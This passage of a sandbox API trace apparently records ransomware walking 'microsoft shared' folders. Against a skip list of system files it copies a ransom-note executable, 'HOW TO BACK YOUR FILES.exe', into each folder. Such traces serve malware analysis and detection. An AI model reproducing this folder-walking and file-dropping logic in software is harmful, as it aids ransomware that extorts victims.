(lpString1="Help", lpString2="pagefile.sys") returned -1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="boot") returned 1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="ids.txt") returned -1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="ntuser.dat") returned -1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="perflogs") returned -1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="MSBuild") returned -1 [0092.789] lstrlenW (lpString="Help") returned 4 [0092.789] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Help" | out: lpString1="Help") returned="Help" [0092.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f838 [0092.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53ada0 [0092.789] lstrcatW (in: lpString1="Help", lpString2="\\" | out: lpString1="Help\\") returned="Help\\" [0092.789] lstrcatW (in: lpString1="Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Help\\HOW TO BACK YOUR FILES.exe") returned="Help\\HOW TO BACK YOUR FILES.exe" [0092.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.808] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ba9280, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.808] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.808] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0092.808] lstrcmpiW (lpString1="ink", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.808] lstrcmpiW (lpString1="ink", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.808] lstrcmpiW (lpString1="ink", lpString2=".") returned 1 [0092.808] lstrcmpiW (lpString1="ink", lpString2="..") returned 1 [0092.808] lstrcmpiW (lpString1="ink", lpString2="windows") returned -1 [0092.808] lstrcmpiW (lpString1="ink", lpString2="bootmgr") returned 1 [0092.808] lstrcmpiW (lpString1="ink", lpString2="temp") returned -1 [0092.809] lstrcmpiW (lpString1="ink", lpString2="pagefile.sys") returned -1 [0092.809] lstrcmpiW (lpString1="ink", lpString2="boot") returned 1 [0092.809] lstrcmpiW (lpString1="ink", lpString2="ids.txt") returned 1 [0092.809] lstrcmpiW (lpString1="ink", lpString2="ntuser.dat") returned -1 [0092.809] lstrcmpiW (lpString1="ink", lpString2="perflogs") returned -1 [0092.809] lstrcmpiW (lpString1="ink", lpString2="MSBuild") returned -1 [0092.809] lstrlenW (lpString="ink") returned 3 [0092.809] lstrcpyW (in: lpString1=0x241e8b2, lpString2="ink" | out: lpString1="ink") returned="ink" [0092.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f808 [0092.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53ae20 [0092.809] lstrcatW (in: lpString1="ink", lpString2="\\" | out: lpString1="ink\\") returned="ink\\" [0092.809] lstrcatW (in: lpString1="ink\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ink\\HOW TO BACK YOUR FILES.exe") returned="ink\\HOW TO BACK YOUR FILES.exe" [0092.809] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.817] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0092.817] lstrcmpiW (lpString1="MSEnv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.817] lstrcmpiW (lpString1="MSEnv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.817] lstrcmpiW (lpString1="MSEnv", lpString2=".") returned 1 [0092.817] lstrcmpiW (lpString1="MSEnv", lpString2="..") returned 1 [0092.817] lstrcmpiW (lpString1="MSEnv", lpString2="windows") returned -1 [0092.817] lstrcmpiW (lpString1="MSEnv", lpString2="bootmgr") returned 1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="temp") returned -1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="pagefile.sys") returned -1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="boot") returned 1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="ids.txt") returned 1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="ntuser.dat") returned -1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="perflogs") returned -1 [0092.818] lstrcmpiW (lpString1="MSEnv", lpString2="MSBuild") returned 1 [0092.818] lstrlenW (lpString="MSEnv") returned 5 [0092.818] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MSEnv" | out: lpString1="MSEnv") returned="MSEnv" [0092.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7f0 [0092.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53aea0 [0092.818] lstrcatW (in: lpString1="MSEnv", lpString2="\\" | out: lpString1="MSEnv\\") returned="MSEnv\\" [0092.818] lstrcatW (in: lpString1="MSEnv\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSEnv\\HOW TO BACK YOUR FILES.exe") returned="MSEnv\\HOW TO BACK YOUR FILES.exe" [0092.818] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.821] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2=".") returned 1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="..") returned 1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="windows") returned -1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="bootmgr") returned 1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="temp") returned -1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="pagefile.sys") returned -1 [0092.821] lstrcmpiW (lpString1="MSInfo", lpString2="boot") returned 1 [0092.822] lstrcmpiW (lpString1="MSInfo", lpString2="ids.txt") returned 1 [0092.822] lstrcmpiW (lpString1="MSInfo", lpString2="ntuser.dat") returned -1 [0092.822] lstrcmpiW (lpString1="MSInfo", lpString2="perflogs") returned -1 [0092.822] lstrcmpiW (lpString1="MSInfo", lpString2="MSBuild") returned 1 [0092.822] lstrlenW (lpString="MSInfo") returned 6 [0092.822] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MSInfo" | out: lpString1="MSInfo") returned="MSInfo" [0092.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7d8 [0092.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53af20 [0092.822] lstrcatW (in: lpString1="MSInfo", lpString2="\\" | out: lpString1="MSInfo\\") returned="MSInfo\\" [0092.822] lstrcatW (in: lpString1="MSInfo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSInfo\\HOW TO BACK YOUR FILES.exe") returned="MSInfo\\HOW TO BACK YOUR FILES.exe" [0092.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.829] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2=".") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="..") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="windows") returned -1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="bootmgr") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="temp") returned -1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="pagefile.sys") returned -1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="boot") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="ids.txt") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="ntuser.dat") returned 1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="perflogs") returned -1 [0092.830] lstrcmpiW (lpString1="OFFICE14", lpString2="MSBuild") returned 1 [0092.830] lstrlenW (lpString="OFFICE14") returned 8 [0092.830] lstrcpyW (in: lpString1=0x241e8b2, lpString2="OFFICE14" | out: lpString1="OFFICE14") returned="OFFICE14" [0092.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7c0 [0092.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x518ef8 [0092.830] lstrcatW (in: lpString1="OFFICE14", lpString2="\\" | out: lpString1="OFFICE14\\") returned="OFFICE14\\" [0092.830] lstrcatW (in: lpString1="OFFICE14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE14\\HOW TO BACK YOUR FILES.exe") returned="OFFICE14\\HOW TO BACK YOUR FILES.exe" [0092.830] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.833] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2=".") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="..") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="windows") returned -1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="bootmgr") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="temp") returned -1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="pagefile.sys") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="boot") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="ids.txt") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="ntuser.dat") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="perflogs") returned 1 [0092.833] lstrcmpiW (lpString1="Portal", lpString2="MSBuild") returned 1 [0092.833] lstrlenW (lpString="Portal") returned 6 [0092.833] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Portal" | out: lpString1="Portal") returned="Portal" [0092.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7a8 [0092.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53afa0 [0092.833] lstrcatW (in: lpString1="Portal", lpString2="\\" | out: lpString1="Portal\\") returned="Portal\\" [0092.833] lstrcatW (in: lpString1="Portal\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Portal\\HOW TO BACK YOUR FILES.exe") returned="Portal\\HOW TO BACK YOUR FILES.exe" [0092.833] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.838] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="windows") returned -1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="bootmgr") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="temp") returned -1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="pagefile.sys") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="boot") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="ids.txt") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="ntuser.dat") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="perflogs") returned 1 [0092.838] lstrcmpiW (lpString1="Stationery", lpString2="MSBuild") returned 1 [0092.838] lstrlenW (lpString="Stationery") returned 10 [0092.838] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery" [0092.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b8b8 [0092.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x518e70 [0092.838] lstrcatW (in: lpString1="Stationery", lpString2="\\" | out: lpString1="Stationery\\") returned="Stationery\\" [0092.838] lstrcatW (in: lpString1="Stationery\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Stationery\\HOW TO BACK YOUR FILES.exe") returned="Stationery\\HOW TO BACK YOUR FILES.exe" [0092.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.842] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2=".") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="..") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="windows") returned -1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="bootmgr") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="temp") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="pagefile.sys") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="boot") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="ids.txt") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="ntuser.dat") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="perflogs") returned 1 [0092.842] lstrcmpiW (lpString1="TextConv", lpString2="MSBuild") returned 1 [0092.842] lstrlenW (lpString="TextConv") returned 8 [0092.842] lstrcpyW (in: lpString1=0x241e8b2, lpString2="TextConv" | out: lpString1="TextConv") returned="TextConv" [0092.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b8d0 [0092.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x518de8 [0092.842] lstrcatW (in: lpString1="TextConv", lpString2="\\" | out: lpString1="TextConv\\") returned="TextConv\\" [0092.842] lstrcatW (in: lpString1="TextConv\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="TextConv\\HOW TO BACK YOUR FILES.exe") returned="TextConv\\HOW TO BACK YOUR FILES.exe" [0092.842] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.846] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2=".") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="..") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="windows") returned -1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="bootmgr") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="temp") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="pagefile.sys") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="boot") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="ids.txt") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="ntuser.dat") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="perflogs") returned 1 [0092.846] lstrcmpiW (lpString1="Triedit", lpString2="MSBuild") returned 1 [0092.846] lstrlenW (lpString="Triedit") returned 7 [0092.846] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Triedit" | out: lpString1="Triedit") returned="Triedit" [0092.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b8e8 [0092.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x518cd8 [0092.846] lstrcatW (in: lpString1="Triedit", lpString2="\\" | out: lpString1="Triedit\\") returned="Triedit\\" [0092.846] lstrcatW (in: lpString1="Triedit\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Triedit\\HOW TO BACK YOUR FILES.exe") returned="Triedit\\HOW TO BACK YOUR FILES.exe" [0092.846] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.849] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2=".") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="..") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="windows") returned -1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="bootmgr") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="temp") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="pagefile.sys") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="boot") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="ids.txt") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="ntuser.dat") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="perflogs") returned 1 [0092.849] lstrcmpiW (lpString1="VBA", lpString2="MSBuild") returned 1 [0092.849] lstrlenW (lpString="VBA") returned 3 [0092.849] lstrcpyW (in: lpString1=0x241e8b2, lpString2="VBA" | out: lpString1="VBA") returned="VBA" [0092.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b900 [0092.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b020 [0092.850] lstrcatW (in: lpString1="VBA", lpString2="\\" | out: lpString1="VBA\\") returned="VBA\\" [0092.850] lstrcatW (in: lpString1="VBA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VBA\\HOW TO BACK YOUR FILES.exe") returned="VBA\\HOW TO BACK YOUR FILES.exe" [0092.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.852] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2=".") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="..") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="windows") returned -1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="bootmgr") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="temp") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="pagefile.sys") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="boot") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="ids.txt") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="ntuser.dat") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="perflogs") returned 1 [0092.852] lstrcmpiW (lpString1="VC", lpString2="MSBuild") returned 1 [0092.852] lstrlenW (lpString="VC") returned 2 [0092.852] lstrcpyW (in: lpString1=0x241e8b2, lpString2="VC" | out: lpString1="VC") returned="VC" [0092.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b918 [0092.853] 